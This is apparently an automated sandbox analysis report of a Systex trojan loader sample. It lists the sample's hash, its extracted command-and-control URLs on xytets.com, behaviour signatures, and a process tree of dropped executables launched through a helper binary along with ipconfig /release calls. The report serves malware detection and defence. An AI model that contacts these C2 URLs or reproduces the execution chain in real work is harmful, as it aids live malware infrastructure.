Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
16/08/2026, 00:36
General
- Target 2026-08-15_4e0819ef793d17115338aad75cd77e36_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe
- Size 361KB
- Sample260816-ax7jasxtd1
- SHA256 9c5c065b68ecc238437f9413e2be3d6eee645b12bfa9195ca436079694f3531e
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba
-
http://xytets.com:2345/t.asp?os=home
-
http://xytets.com:2345/t.asp?ver=xxx&mac=0-0-0-0&os=vm
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 9 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-15_4e0819ef793d17115338aad75cd77e36_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-15_4e0819ef793d17115338aad75cd77e36_amadey_darkgate_elex_redline-stealer_rhadamanthys_smoke-loader_stealc_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\dxvqnifaxvpnifdx.exeC:\Temp\dxvqnifaxvpnifdx.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fdxvsnifax.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\fdxvsnifax.exeC:\Temp\fdxvsnifax.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fdxvsnifax.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fdxvsnifax.exeC:\Temp\i_fdxvsnifax.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smhfzxspkh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\smhfzxspkh.exeC:\Temp\smhfzxspkh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smhfzxspkh.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_smhfzxspkh.exeC:\Temp\i_smhfzxspkh.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxrpjhfzur.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zxrpjhfzur.exeC:\Temp\zxrpjhfzur.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxrpjhfzur.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zxrpjhfzur.exeC:\Temp\i_zxrpjhfzur.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mjhczurmje.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mjhczurmje.exeC:\Temp\mjhczurmje.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mjhczurmje.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mjhczurmje.exeC:\Temp\i_mjhczurmje.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomgebwuom.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uomgebwuom.exeC:\Temp\uomgebwuom.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomgebwuom.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uomgebwuom.exeC:\Temp\i_uomgebwuom.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ywtrljdbwt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ywtrljdbwt.exeC:\Temp\ywtrljdbwt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ywtrljdbwt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ywtrljdbwt.exeC:\Temp\i_ywtrljdbwt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trljdbvtol.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\trljdbvtol.exeC:\Temp\trljdbvtol.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trljdbvtol.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_trljdbvtol.exeC:\Temp\i_trljdbvtol.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kidavtnlfd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kidavtnlfd.exeC:\Temp\kidavtnlfd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kidavtnlfd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kidavtnlfd.exeC:\Temp\i_kidavtnlfd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvpnifaysn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\xvpnifaysn.exeC:\Temp\xvpnifaysn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvpnifaysn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_xvpnifaysn.exeC:\Temp\i_xvpnifaysn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axvpnkfaxs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\axvpnkfaxs.exeC:\Temp\axvpnkfaxs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axvpnkfaxs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_axvpnkfaxs.exeC:\Temp\i_axvpnkfaxs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkecxupm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmkecxupm.exeC:\Temp\usmkecxupm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkecxupm.exe ups_ins3⤵
-
C:\Temp\i_usmkecxupm.exeC:\Temp\i_usmkecxupm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\khbzurmkec.exe ups_run3⤵
-
C:\Temp\khbzurmkec.exeC:\Temp\khbzurmkec.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_khbzurmkec.exe ups_ins3⤵
-
C:\Temp\i_khbzurmkec.exeC:\Temp\i_khbzurmkec.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wuomgeywuo.exe ups_run3⤵
-
C:\Temp\wuomgeywuo.exeC:\Temp\wuomgeywuo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wuomgeywuo.exe ups_ins3⤵
-
C:\Temp\i_wuomgeywuo.exeC:\Temp\i_wuomgeywuo.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\trojebwuoj.exe ups_run3⤵
-
C:\Temp\trojebwuoj.exeC:\Temp\trojebwuoj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_trojebwuoj.exe ups_ins3⤵
-
C:\Temp\i_trojebwuoj.exeC:\Temp\i_trojebwuoj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgdywqojgb.exe ups_run3⤵
-
C:\Temp\lgdywqojgb.exeC:\Temp\lgdywqojgb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgdywqojgb.exe ups_ins3⤵
-
C:\Temp\i_lgdywqojgb.exeC:\Temp\i_lgdywqojgb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqlfdbvtoi.exe ups_run3⤵
-
C:\Temp\tqlfdbvtoi.exeC:\Temp\tqlfdbvtoi.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqlfdbvtoi.exe ups_ins3⤵
-
C:\Temp\i_tqlfdbvtoi.exeC:\Temp\i_tqlfdbvtoi.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkigaysqki.exe ups_run3⤵
-
C:\Temp\qkigaysqki.exeC:\Temp\qkigaysqki.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkigaysqki.exe ups_ins3⤵
-
C:\Temp\i_qkigaysqki.exeC:\Temp\i_qkigaysqki.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qnifaysqki.exe ups_run3⤵
-
C:\Temp\qnifaysqki.exeC:\Temp\qnifaysqki.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qnifaysqki.exe ups_ins3⤵
-
C:\Temp\i_qnifaysqki.exeC:\Temp\i_qnifaysqki.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfcauspkhf.exe ups_run3⤵
-
C:\Temp\hfcauspkhf.exeC:\Temp\hfcauspkhf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfcauspkhf.exe ups_ins3⤵
-
C:\Temp\i_hfcauspkhf.exeC:\Temp\i_hfcauspkhf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x314,0x7ffb5125c188,0x7ffb5125c194,0x7ffb5125c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,10667488070145677735,12921595345925432648,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,8070521635532409506,4508641960272904031,262144 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=2384 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2372,i,17437062198717538305,2744480140085990716,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3504,i,952160202260922745,1304316458286679292,2097152 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3508,i,8347181372822834168,4633767863140482415,2097152 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4248,i,12076936800448345774,5819186357909389705,2097152 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=4256 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4316,i,6128155901798542997,1654024022998803118,2097152 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3700,i,14950336039149800290,10713763441292579118,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5508,i,16781186648044381971,11993679893103985696,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5392,i,5876545757466625451,10308068591660733254,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,527622264578757947,8299676302843318565,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6052,i,527622264578757947,8299676302843318565,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6608,i,11549509046556388227,11386712034783340599,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6500 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6552,i,3171207725272434522,10445829514219720684,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6708 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6808,i,17065743014125529288,17372481439623434937,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6792,i,15381511064237290470,7964983789117213715,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6796,i,3482534600161155585,11656756912408456966,524288 --field-trial-handle=2388,i,3748134179572056677,14060484855727565745,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:144⤵
-
-
